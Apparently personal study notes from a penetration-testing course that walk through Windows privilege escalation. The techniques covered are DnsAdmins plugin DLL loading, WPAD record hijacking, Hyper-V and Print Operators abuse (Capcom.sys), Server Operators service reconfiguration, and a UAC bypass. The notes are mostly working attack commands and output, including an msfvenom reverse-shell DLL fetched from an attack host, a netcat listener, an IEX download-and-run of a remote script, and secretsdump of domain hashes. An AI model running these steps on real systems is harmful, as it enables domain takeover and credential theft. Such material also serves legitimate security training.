* **Only members of the `DnsAdmins` group are permitted to do this.**
* if failed do next step

**Loading DLL as Member of DnsAdmins**

```powershell-session
Get-ADGroupMember -Identity DnsAdmins
```

**Loading Custom DLL**

```cmd-session
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
```

* **Note: We must specify the full path to our custom DLL or the attack will not work properly.**
* Only the `dnscmd` utility can be used by members of the `DnsAdmins` group, as they do not directly have permission on the registry key.
* &#x20;the DLL will be loaded the next time the DNS service is started
* Membership in the DnsAdmins group doesn't give the ability to restart the DNS service,
  * but this is something that sysadmins might permit DNS admins to do.
* After restarting the DNS service (if our user has this level of access), we should be able to run our custom DLL and add a user (in our case) or get a reverse shell.
* If we do not have access to restart the DNS server, we will have to wait until the server or service restarts.

#### Check our current user's permissions on the DNS service.

**Finding User's SID**

```cmd-session
wmic useraccount where name="netadm" get sid
```

**Checking Permissions on DNS Service**

* Once we have the user's SID, we can use the `sc` command to check permissions on the service

```cmd-session
sc.exe sdshow DNS
```

* &#x20;Per this [article](https://www.winhelponline.com/blog/view-edit-service-permissions-windows/),
  * we can check if our user has `RPWP` permissions which translate to `SERVICE_START` and `SERVICE_STOP`, respectively.

#### Stopping the DNS Service

```cmd-session
sc stop dns
```

* The DNS service will attempt to start and run our custom DLL, but if we check the status, it will show that it failed to start correctly

#### Starting the DNS Service

```cmd-session
sc start dns
```

#### Confirming Group Membership

```cmd-session
 net group "Domain Admins" /dom
```

* **for you to get domain admin permissions you need to log out and login**

### Cleaning Up

* Making configuration changes and stopping/restarting the DNS service on a Domain Controller are very destructive actions and must be exercised with great care.

#### Confirming Registry Key Added

* The first step is confirming that the `ServerLevelPluginDll` registry key exists.
  * Until our custom DLL is removed, we will not be able to start the DNS service again correctly.

```cmd-session
 reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
```

#### Deleting Registry Key

```cmd-session
reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  /v ServerLevelPluginDll
```

#### Starting the DNS Service Again

```cmd-session
sc.exe start dns
```

#### Checking DNS Service Status

```cmd-session
sc query dns
```

### Using Mimilib.dll

* we could also utilize [mimilib.dll](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib)
  * from the creator of the `Mimikatz` tool to gain command execution by modifying the [kdns.c](https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c) file to execute a reverse shell one-liner or another command of our choosing.

```c
/*	Benjamin DELPY `gentilkiwi`
	https://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kdns.h"

DWORD WINAPI kdns_DnsPluginInitialize(PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction, PLUGIN_FREE_FUNCTION pDnsFreeFunction)
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginCleanup()
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
	FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
	if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
	{
		klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
		fclose(kdns_logfile);
	    system("ENTER COMMAND HERE");
	}
	return ERROR_SUCCESS;
}
```

#### Reference

* <https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html>

### Creating a WPAD Recorder

* Another way to abuse DnsAdmins group privileges is by creating a WPAD record
* Membership in this group gives us the rights to [disable global query block security](https://docs.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps), which by default blocks this attack
* Server 2008 first introduced the ability to add to a global query block list on a DNS server.
* By default,
  * **Web Proxy Automatic Discovery Protocol (WPAD)** and **Intra-site Automatic Tunnel Addressing Protocol (ISATAP)** are on the global query block list.
    * These protocols are quite vulnerable to hijacking, and any domain user can create a computer object or DNS record containing those names.
* After disabling the global query block list and creating a WPAD record, every machine running WPAD with default settings will have its traffic proxied through our attack machine
* We could use a tool such as [Responder](https://github.com/lgandx/Responder) or [Inveigh](https://github.com/Kevin-Robertson/Inveigh) to perform traffic spoofing, and attempt to capture password hashes and crack them offline or perform an SMBRelay attack.

#### Disabling the Global Query Block List

```powershell-session
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local
```

#### Adding a WPAD Record

```powershell-session
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3
```

## Reference

* <https://www.winhelponline.com/blog/view-edit-service-permissions-windows/>
* <https://adsecurity.org/?p=4064>
* <https://academy.hackthebox.com/module/67/section/603>


# Hyper-V Administrators Attacks

* The Hyper-V Administrators group has full access to all Hyper-V features
* If Domain Controllers have been virtualized, then the virtualization admins should be considered Domain Admins
* They could easily create a clone of the live Domain Controller and mount the virtual disk offline to obtain the NTDS.dit file and extract NTLM password hashes for all users in the domain.
* It is also well documented on this [blog](https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/), that upon deleting a virtual machine, `vmms.exe` attempts to restore the original file permissions on the corresponding `.vhdx` file and does so as `NT AUTHORITY\SYSTEM`, without impersonating the user.
* &#x20;We can delete the `.vhdx` file and create a native hard link to point this file to a protected SYSTEM file, which we will have full permissions to.
* If the operating system is vulnerable to [CVE-2018-0952](https://www.tenable.com/cve/CVE-2018-0952) or [CVE-2019-0841](https://www.tenable.com/cve/CVE-2019-0841), we can leverage this to gain SYSTEM privileges.
* Otherwise, we can try to take advantage of an application on the server that has installed a service running in the context of SYSTEM, which is startable by unprivileged users.

### Target File

* An example of this is Firefox, which installs the `Mozilla Maintenance Service`.
* We can update [this exploit](https://raw.githubusercontent.com/decoder-it/Hyper-V-admin-EOP/master/hyperv-eop.ps1) (a proof-of-concept for NT hard link) to grant our current user full permissions on the file below:

```shell-session
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
```

### Taking Ownership of the File

* After running the PowerShell script, we should have full control of this file and can take ownership of it.

```cmd-session
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
```

**Starting the Mozilla Maintenance Service**

* Next, we can replace this file with a malicious `maintenanceservice.exe`, start the maintenance service, and get command execution as SYSTEM.

```cmd-session
sc.exe start MozillaMaintenance
```

**Note: This vector has been mitigated by the March 2020 Windows security updates, which changed behavior relating to hard links.**

## Reference

* <https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/>


# Windows Print Operators

* [Print Operators](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#print-operators) is another highly privileged group, which grants its members the `SeLoadDriverPrivilege`, rights to manage, create, share, and delete printers connected to a Domain Controller, as well as the ability to log on locally to a Domain Controller and shut it down.

## Exploitation - With GUI

### Confirming Privileges

```cmd-session
whoami /priv
```

### Checking Privileges Again

* use admin cmd

```cmd-session
whoami /priv
```

```cmd-session
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
-----------------------------------------------------------
SeMachineAccountPrivilege     Add workstations to domain           Disabled
SeLoadDriverPrivilege         Load and unload device drivers       Disabled
SeShutdownPrivilege           Shut down the system			       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
```

* It's well known that the driver `Capcom.sys` contains functionality to allow any user to execute shellcode with SYSTEM privileges.
* We can use our privileges to load this vulnerable driver and escalate privileges.
  * We can use [this](https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/EnableSeLoadDriverPrivilege.cpp) tool to load the driver.
    * The PoC enables the privilege as well as loads the driver for us.
* Download it locally and edit it, pasting over the includes below.

```c
#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"
```

* Next, from a Visual Studio 2019 Developer Command Prompt, compile it using **cl.exe**.

### Compile with cl.exe

```cmd-session
cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
```

### Add Reference to Driver

```cmd-session
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
```

```cmd-session
 reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
```

* The odd syntax `\??\` used to reference our malicious driver's ImagePath is an [NT Object Path](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/c1550f98-a1ce-426a-9991-7509e7c3787c). The Win32 API will parse and resolve this path to properly locate and load our malicious driver.

### Verify Driver is not Loaded

* Using Nirsoft's [DriverView.exe](http://www.nirsoft.net/utils/driverview.html), we can verify that the Capcom.sys driver is not loaded

```powershell-session
.\DriverView.exe /stext drivers.txt
```

```powershell-session
cat drivers.txt | Select-String -pattern Capcom
```

* no output should come

### Verify Privilege is Enabled

* Run the `EnableSeLoadDriverPrivilege.exe` binary.

```cmd-session
EnableSeLoadDriverPrivilege.exe
```

### Verify Capcom Driver is Listed

```powershell-session
.\DriverView.exe /stext drivers.txt
```

```powershell-session
cat drivers.txt | Select-String -pattern Capcom
```

### Use ExploitCapcom Tool to Escalate Privileges

* To exploit the Capcom.sys, we can use the [ExploitCapcom](https://github.com/tandasat/ExploitCapcom) tool after compiling with it Visual Studio.

```powershell-session
.\ExploitCapcom.exe
```

* This launches a shell with SYSTEM privileges. !\[\[Pasted image 20240806113634.png]]

## Alternate Exploitation - No GUI

* &#x20;we will have to modify the `ExploitCapcom.cpp` code before compiling.
* Here we can edit line 292 and replace `"C:\\Windows\\system32\\cmd.exe"` with, say, a reverse shell binary created with `msfvenom`, for example: `c:\ProgramData\revshell.exe`.

```c
// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }

    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;
}
```

* The `CommandLine` string in this example would be changed to:

```c
 TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");
```

* We would set up a listener based on the `msfvenom` payload we generated and hopefully receive a reverse shell connection back when executing `ExploitCapcom.exe`.
* If a reverse shell connection is blocked for some reason, we can try a bind shell or exec/add user payload.

### Automating the Steps

#### Automating with EopLoadDriver

* We can use a tool such as [EoPLoadDriver](https://github.com/TarlogicSecurity/EoPLoadDriver/) to automate the process of enabling the privilege, creating the registry key, and executing `NTLoadDriver` to load the driver.
* To do this, we would run the following:

```cmd-session
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys
```

* We would then run `ExploitCapcom.exe` to pop a SYSTEM shell or run our custom binary.

## Clean-up

#### Removing Registry Key

```cmd-session
reg delete HKCU\System\CurrentControlSet\Capcom
```

**Note: Since Windows 10 Version 1803, the "SeLoadDriverPrivilege" is not exploitable, as it is no longer possible to include references to registry keys under "HKEY\_CURRENT\_USER".**


# Windows Server Operators

* The Server Operators group allows members to administer Windows servers without needing assignment of Domain Admin privileges
* It is a very highly privileged group that can log in locally to servers, including Domain Controllers.
* Membership of this group confers the powerful `SeBackupPrivilege` and `SeRestorePrivilege` privileges and the ability to control local services.

### Querying the AppReadiness Service

* Let's examine the `AppReadiness` service. We can confirm that this service starts as SYSTEM using the `sc.exe` utility

```cmd-session
sc qc AppReadiness
```

```cmd-session
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AppReadiness
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\System32\svchost.exe -k AppReadiness -p
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : App Readiness
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
```

### Checking Service Permissions with PsService

* We can use the service viewer/controller [PsService](https://docs.microsoft.com/en-us/sysinternals/downloads/psservice), which is part of the Sysinternals suite, to check permissions on the service.
* `PsService` works much like the `sc` utility and can display service status and configurations and also allow you to start, stop, pause, resume, and restart services both locally and on remote hosts.

```cmd-session
c:\Tools\PsService.exe security AppReadiness
```

```cmd-session
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

SERVICE_NAME: AppReadiness
DISPLAY_NAME: App Readiness
        ACCOUNT: LocalSystem
        SECURITY:
        [ALLOW] NT AUTHORITY\SYSTEM
                Query status
                Query Config
                Interrogate
                Enumerate Dependents
                Pause/Resume
                Start
                Stop
                User-Defined Control
                Read Permissions
        [ALLOW] BUILTIN\Administrators
                All
        [ALLOW] NT AUTHORITY\INTERACTIVE
                Query status
                Query Config
                Interrogate
                Enumerate Dependents
                User-Defined Control
                Read Permissions
        [ALLOW] NT AUTHORITY\SERVICE
                Query status
                Query Config
                Interrogate
                Enumerate Dependents
                User-Defined Control
                Read Permissions
        [ALLOW] BUILTIN\Server Operators
                All
```

* This confirms that the Server Operators group has SERVICE\_ALL\_ACCESS access right, which gives us full control over this service.

### Checking Local Admin Group Membership

```cmd-session
 net localgroup Administrators
```

```cmd-session
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.
```

### Modifying the Service Binary Path

```cmd-session
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
```

```cmd-session
[SC] ChangeServiceConfig SUCCESS
```

### Starting the Service

* Starting the service fails, which is expected.

```cmd-session
sc start AppReadiness
```

```cmd-session
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.
```

### Confirming Local Admin Group Membership

```cmd-session
 net localgroup Administrators
```

```cmd-session
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
server_adm
The command completed successfully.
```

### Confirming Local Admin Access on Domain Controller

* From here, we have full control over the Domain Controller and could retrieve all credentials from the NTDS database and access other systems, and perform post-exploitation tasks.

```shell-session
crackmapexec smb 10.129.43.9 -u server_adm -p 'HTB_@cademy_stdnt!'
```

```shell-session
SMB         10.129.43.9     445    WINLPE-DC01      [*] Windows 10.0 Build 17763 (name:WINLPE-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         10.129.43.9     445    WINLPE-DC01      [+] INLANEFREIGHT.LOCAL\server_adm:HTB_@cademy_stdnt! (Pwn3d!)
```

### Retrieving NTLM Password Hashes from the Domain Controller

```shell-session
secretsdump.py server_adm@10.129.43.9 -just-dc-user administrator
```

```shell-session
Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
Administrator:aes128-cts-hmac-sha1-96:94c300d0e47775b407f2496a5cca1a0a
Administrator:des-cbc-md5:d60dfbbf20548938
[*] Cleaning up...
```


# Windows User Account Control Bypass

* User Account Control (UAC) is a feature that enables a consent prompt for elevated activities.
* Applications have different integrity levels, and a program with a high level can perform tasks that could potentially compromise the system.
* When UAC is enabled, applications and tasks always run under the security context of a non-administrator account unless an administrator explicitly authorizes these applications/tasks to have administrator-level access to the system to run.
* It is a convenience feature that protects administrators from unintended changes but is not considered a security boundary.
* When UAC is in place, a user can log into their system with their standard user account.
* When processes are launched using a standard user token, they can perform tasks using the rights granted to a standard user.
  * Some applications require additional permissions to run, and UAC can provide additional access rights to the token for them to run correctly.

### How User Account Control works

* <https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/how-it-works>
* Administrators can use security policies to configure how UAC works specific to their organization at the local level (using secpol.msc), or configured and pushed out via Group Policy Objects (GPO) in an Active Directory domain environment.

#### User Account Control settings and configuration

* <https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/settings-and-configuration?tabs=intune>

| Setting name                                                                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| ------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Admin Approval Mode for the Built-in Administrator account                           | <p>Controls the behavior of Admin Approval Mode for the built-in Administrator account.<br><br><strong>Enabled</strong>: The built-in Administrator account uses Admin Approval Mode. By default, any operation that requires elevation of privilege prompts the user to approve the operation.<br><strong>Disabled (default)</strong>: The built-in Administrator account runs all applications with full administrative privilege.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| Allow UIAccess applications to prompt for elevation without using the secure desktop | <p>Controls whether User Interface Accessibility (UIAccess or UIA) programs can automatically disable the secure desktop for elevation prompts used by a standard user.<br><br><strong>Enabled</strong>: UIA programs, including Remote Assistance, automatically disable the secure desktop for elevation prompts. If you don't disable the <strong>Switch to the secure desktop when prompting for elevation</strong> policy setting, the prompts appear on the interactive user's desktop instead of the secure desktop. This setting allows the remote administrator to provide the appropriate credentials for elevation. This policy setting doesn't change the behavior of the UAC elevation prompt for administrators. If you plan to enable this policy setting, you should also review the effect of the <strong>Behavior of the elevation prompt for standard users</strong> policy setting: if it's' configured as <strong>Automatically deny elevation requests</strong>, elevation requests aren't presented to the user.<br><strong>Disabled (default)</strong>: The secure desktop can be disabled only by the user of the interactive desktop or by disabling the <strong>Switch to the secure desktop when prompting for elevation</strong> policy setting.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| Behavior of the elevation prompt for administrators in Admin Approval Mode           | <p>Controls the behavior of the elevation prompt for administrators.<br><br><strong>Elevate without prompting</strong>: Allows privileged accounts to perform an operation that requires elevation without requiring consent or credentials. <strong>Use this option only in the most constrained environments</strong>.<br><strong>Prompt for credentials on the secure desktop</strong>: When an operation requires elevation of privilege, the user is prompted on the secure desktop to enter a privileged user name and password. If the user enters valid credentials, the operation continues with the user's highest available privilege.<br><strong>Prompt for consent on the secure desktop</strong>: When an operation requires elevation of privilege, the user is prompted on the secure desktop to select either Permit or Deny. If the user selects Permit, the operation continues with the user's highest available privilege.<br><strong>Prompt for credentials</strong>: When an operation requires elevation of privilege, the user is prompted to enter an administrative user name and password. If the user enters valid credentials, the operation continues with the applicable privilege.<br><strong>Prompt for consent</strong>: When an operation requires elevation of privilege, the user is prompted to select either Permit or Deny. If the user selects Permit, the operation continues with the user's highest available privilege.<br><strong>Prompt for consent for non-Windows binaries (default)</strong>: When an operation for a non-Microsoft application requires elevation of privilege, the user is prompted on the secure desktop to select either Permit or Deny. If the user selects Permit, the operation continues with the user's highest available privilege.</p> |
| Behavior of the elevation prompt for standard users                                  | <p>Controls the behavior of the elevation prompt for standard users.<br><br><strong>Prompt for credentials (default)</strong>: When an operation requires elevation of privilege, the user is prompted to enter an administrative user name and password. If the user enters valid credentials, the operation continues with the applicable privilege.<br><strong>Automatically deny elevation requests</strong>: When an operation requires elevation of privilege, a configurable access denied error message is displayed. An enterprise that is running desktops as standard user may choose this setting to reduce help desk calls.<br><strong>Prompt for credentials on the secure desktop</strong> When an operation requires elevation of privilege, the user is prompted on the secure desktop to enter a different user name and password. If the user enters valid credentials, the operation continues with the applicable privilege.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| Detect application installations and prompt for elevation                            | <p>Controls the behavior of application installation detection for the computer.<br><br><strong>Enabled (default)</strong>: When an app installation package is detected that requires elevation of privilege, the user is prompted to enter an administrative user name and password. If the user enters valid credentials, the operation continues with the applicable privilege.<br><strong>Disabled</strong>: App installation packages aren't detected and prompted for elevation. Enterprises that are running standard user desktops and use delegated installation technologies, such as Microsoft Intune, should disable this policy setting. In this case, installer detection is unnecessary.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| Only elevate executables that are signed and validated                               | <p>Enforces signature checks for any interactive applications that request elevation of privilege. IT admins can control which applications are allowed to run by adding certificates to the Trusted Publishers certificate store on local devices.<br><br><strong>Enabled</strong>: Enforces the certificate certification path validation for a given executable file before it's permitted to run.<br><strong>Disabled (default)</strong>: Doesn't enforce the certificate certification path validation before a given executable file is permitted to run.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| Only elevate UIAccess applications that are installed in secure locations            | <p>Controls whether applications that request to run with a User Interface Accessibility (UIAccess) integrity level must reside in a secure location in the file system. Secure locations are limited to the following folders:<br>- <code>%ProgramFiles%</code>, including subfolders<br>- <code>%SystemRoot%\system32\</code><br>- <code>%ProgramFiles(x86)%</code>, including subfolders<br><br><br><strong>Enabled (default)</strong>: If an app resides in a secure location in the file system, it runs only with UIAccess integrity.<br><strong>Disabled</strong>: An app runs with UIAccess integrity even if it doesn't reside in a secure location in the file system.<br><br><strong>Note:</strong> Windows enforces a digital signature check on any interactive apps that requests to run with a UIAccess integrity level regardless of the state of this setting.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| Run all administrators in Admin Approval Mode                                        | <p>Controls the behavior of all UAC policy settings.<br><br><strong>Enabled (default)</strong>: Admin Approval Mode is enabled. This policy must be enabled and related UAC settings configured. The policy allows the built-in Administrator account and members of the Administrators group to run in Admin Approval Mode.<br><strong>Disabled</strong>: Admin Approval Mode and all related UAC policy settings are disabled. Note: If this policy setting is disabled, <strong>Windows Security</strong> notifies you that the overall security of the operating system is reduced.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| Switch to the secure desktop when prompting for elevation                            | <p>This policy setting controls whether the elevation request prompt is displayed on the interactive user's desktop or the secure desktop.<br><br><strong>Enabled (default)</strong>: All elevation requests go to the secure desktop regardless of prompt behavior policy settings for administrators and standard users.<br><strong>Disabled</strong>: All elevation requests go to the interactive user's desktop. Prompt behavior policy settings for administrators and standard users are used.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| Virtualize File And Registry Write Failures To Per User Locations                    | <p>Controls whether application write failures are redirected to defined registry and file system locations. This setting mitigates applications that run as administrator and write run-time application data to <code>%ProgramFiles%</code>, <code>%Windir%</code>, <code>%Windir%\system32</code>, or <code>HKLM\Software</code>.<br><br><strong>Enabled (default)</strong>: App write failures are redirected at run time to defined user locations for both the file system and registry.<br><strong>Disabled</strong>: Apps that write data to protected locations fail.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |

### User Account Control bypass

* UAC should be enabled, and although it may not stop an attacker from gaining privileges, it is an extra step that may slow this process down and force them to become noisier.
* The `default RID 500 administrator` account always operates at the high mandatory level.
  * With Admin Approval Mode (AAM) enabled, any new admin accounts we create will operate at the medium mandatory level by default and be assigned two separate access tokens upon logging in.
* In the example below, the user account `sarah` is in the administrators group, but cmd.exe is currently running in the context of their unprivileged access token.

#### Checking Current User

```cmd-session
whoami /user
```

```cmd-session
USER INFORMATION
----------------

User Name         SID
================= ==============================================
winlpe-ws03\sarah S-1-5-21-3159276091-2191180989-3781274054-1002
```

#### Confirming Admin Group Membership

```cmd-session
net localgroup administrators
```

```cmd-session
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
mrb3n
sarah
The command completed successfully.
```

#### Reviewing User Privileges

```cmd-session
whoami /priv
```

#### Confirming UAC is Enabled

* There is no command-line version of the GUI consent prompt, so we will have to bypass UAC to execute commands with our privileged access token.
  * First, let's confirm if UAC is enabled and, if so, at what level.

```cmd-session
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
```

```cmd-session
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    EnableLUA    REG_DWORD    0x1
```

#### Checking UAC Level

```cmd-session
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
```

```cmd-session
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    ConsentPromptBehaviorAdmin    REG_DWORD    0x5
```

* The value of `ConsentPromptBehaviorAdmin` is `0x5`, which means the highest UAC level of `Always notify` is enabled.
  * There are fewer UAC bypasses at this highest level.

#### Checking Windows Version

* UAC bypasses leverage flaws or unintended functionality in different Windows builds.
* in powershell

```powershell-session
[environment]::OSVersion.Version
```

```powershell-session
Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0
```

* This returns the build version 14393, which using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page we cross-reference to Windows release `1607`.
  * The [UACME](https://github.com/hfiref0x/UACME) project maintains a list of UAC bypasses
    * including information on the affected Windows build number, the technique used, and if Microsoft has issued a security update to fix it.
* According to [this](https://egre55.github.io/system-properties-uac-bypass) blog post, the 32-bit version of `SystemPropertiesAdvanced.exe` attempts to load the non-existent DLL srrstr.dll, which is used by System Restore functionality.
* When attempting to locate a DLL, Windows will use the following search order.
  1. The directory from which the application loaded.
  2. The system directory `C:\Windows\System32` for 64-bit systems.
  3. The 16-bit system directory `C:\Windows\System` (not supported on 64-bit systems)
  4. The Windows directory.
  5. Any directories that are listed in the PATH environment variable.

#### Reviewing Path Variable

```powershell-session
cmd /c echo %PATH%
```

```powershell-session

C:\Windows\system32;
C:\Windows;
C:\Windows\System32\Wbem;
C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Users\sarah\AppData\Local\Microsoft\WindowsApps;
```

* The `WindowsApps` folder is within the user's profile and writable by the user.
* We can potentially bypass UAC in this by using DLL hijacking by placing a malicious `srrstr.dll` DLL to `WindowsApps` folder, which will be loaded in an elevated context.

#### Generating Malicious srrstr.dll DLL

```shell-session
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll
```

#### Starting Python HTTP Server on Attack Host

* \[\[Personal web server]]

```shell-session
sudo python3 -m http.server 8080
```

#### Downloading DLL Target

```powershell-session
curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
```

#### Starting nc Listener on Attack Host

```shell-session
nc -lvnp 8443
```

#### Testing Connection

```cmd-session
rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll
```

* Once we get a connection back, we'll see normal user rights.

#### Executing SystemPropertiesAdvanced.exe on Target Host

```cmd-session
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
```

#### Receiving Connection Back

* Checking back on our listener, we should receive a connection almost instantly.


# Extracting Clipboard data Windows

* script to get clipboard data from a windows system
  * also has command and control capability
    * <https://github.com/inguardians/Invoke-Clipboard>

```powershell-session
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/inguardians/Invoke-Clipboard/master/Invoke-Clipboard.ps1')
```

```powershell-session
Invoke-ClipboardLogger
```


# Windows Credential Hunting

### Application Configuration Files

```powershell-session
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
```

### Dictionary Files

**Chrome Dictionary Files**

```powershell-session
gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password
```

### Unattended Installation Files

* Unattended installation files may define auto-logon settings or additional accounts to be created as part of the installation.
* Passwords in the `unattend.xml` are stored in plaintext or base64 encoded.

```xml
<?xml version="1.0" encoding="utf-8"?>
<unattend xmlns="urn:schemas-microsoft-com:unattend">
    <settings pass="specialize">
        <component name="Microsoft-Windows-Shell-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <AutoLogon>
                <Password>
                    <Value>local_4dmin_p@ss</Value>
